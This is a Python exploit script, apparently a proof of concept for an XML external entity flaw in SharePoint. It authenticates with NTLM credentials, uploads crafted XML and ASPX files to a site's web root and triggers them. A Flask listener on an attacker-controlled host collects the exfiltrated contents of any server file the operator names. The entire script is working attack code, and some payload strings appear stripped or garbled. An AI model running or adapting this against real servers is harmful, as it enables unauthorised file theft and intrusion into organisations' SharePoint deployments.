import os import random import string import logging from urllib.parse import unquote import flask from flask import Flask, send_file, request import requests from requests_ntlm import HttpNtlmAuth from threading import Thread, Event import time flask.cli.show_server_banner = lambda *args: None werkzeug_logger = logging.getLogger('werkzeug') werkzeug_logger.disabled = True app = Flask(__name__) def GenerateRandomString(length): characters = string.ascii_letters + string.digits return "".join(random.choices(characters, k=length)) def GenerateEvilXmlAndAspx(variable_name, evil_dtd, sitepath): evil_xml_content = f"""\n\n %remote;\n%int;\n%send;\n]>\nwat""" evil_aspx_content = f""" <%@ Page Language="C#" %> <%@ Register tagprefix="SharePoint" namespace="Microsoft.SharePoint.WebControls" assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> {variable_name}
""" with open(f"{variable_name}.xml", "w", encoding="utf-8", newline="") as evil_xml: evil_xml.write(evil_xml_content) with open(f"{variable_name}.aspx", "w", encoding="utf-8", newline="") as evil_aspx: evil_aspx.write(evil_aspx_content) def GetAuthSesion(username, password): session = requests.Session() session.auth = HttpNtlmAuth(username, password) return session def GetSiteID(url, sitepath, proxy, session): headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36", "Accept": "application/json;odata=verbose" } response = session.get(f"{url}/{sitepath}/_api/web", headers=headers, proxies=proxy, verify=False, timeout=20) if response.status_code == 200: data = response.json() site_id = data['d']['Id'] print(f'Site ID: {site_id}') else: print(f'Error: {response.status_code}') print(response.text) def UploadFilesToWebRoot(url, sitepath, proxy, filepath, session): file_name = os.path.basename(filepath) headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36", "Accept": "application/json;odata=verbose" } upload_url = f"{url}{sitepath}/_api/web/GetFolderByServerRelativeUrl('{sitepath}')/Files/add(url='{file_name}',overwrite=true)" token_response = session.post(f"{url}{sitepath}/_api/contextinfo", headers=headers, proxies=proxy, verify=False, timeout=20) if token_response.status_code != 200: print(token_response.text) token = token_response.json()["d"]["GetContextWebInformation"]["FormDigestValue"] with open(filepath, "rb") as file: file_content = file.read() headers = { "Accept": "application/json;odata=verbose", "Content-Type": "application/octet-stream", "X-RequestDigest": token, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" } response = session.post(upload_url, headers=headers, data=file_content, proxies=proxy, verify=False, timeout=20) if response.status_code == 200: print(f"[+] Upload successfully: {url}{sitepath}/{file_name}") else: print(response.status_code) print(response.text) def TriggerRce(url, sitepath, proxy, filename, session): headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" } session.get(f"{url}{sitepath}/{filename}", proxies=proxy, headers=headers, verify=False, timeout=20) def CreateDtdXml(dtdname, file_to_read, evilhost, port): dtd_xml_content = f""" ">""" with open(dtdname, "w", encoding="utf-8") as dtd_xml: dtd_xml.write(dtd_xml_content) @app.route("/", methods=["GET"]) def HandleOOB(): global file_text raw_url = request.url file_text = unquote(raw_url.split("?p=")[1]) print(file_text) file_received_event.set() return "" @app.route("/", methods=["GET"]) def HandleFile(filename): if filename.endswith(".xml"): return send_file(filename, as_attachment=True) if __name__ == "__main__": url = "http://sp2019/".strip("/") sitepath = "/sites/cvetest" proxy = { "http": "127.0.0.1:8083", "https": "127.0.0.1:8083" } # proxy = None username = "CVE\\Administrator" password = "1qaz@WSX!@#456" dtdname = "dtd.xml" evilhost = "192.168.198.1" port = 8080 session = GetAuthSesion(username, password) variable_name = GenerateRandomString(8) GetSiteID(url, sitepath, proxy, session) GenerateEvilXmlAndAspx(variable_name, f"http://{evilhost}:{port}/{dtdname}", sitepath) UploadFilesToWebRoot(url, sitepath, proxy, f"{variable_name}.xml", session) UploadFilesToWebRoot(url, sitepath, proxy, f"{variable_name}.aspx", session) file_received_event = Event() flask_thread = Thread(target=app.run, kwargs={'host': evilhost, 'port': port}) flask_thread.start() while True: file_to_read = input("[*] What file would you like to read? eg: c:/windows/win.ini > ").replace("\\", "/") CreateDtdXml(dtdname, file_to_read, evilhost, port) file_received_event.clear() TriggerRce(url, sitepath, proxy, f"{variable_name}.aspx", session) while not file_received_event.is_set(): time.sleep(1)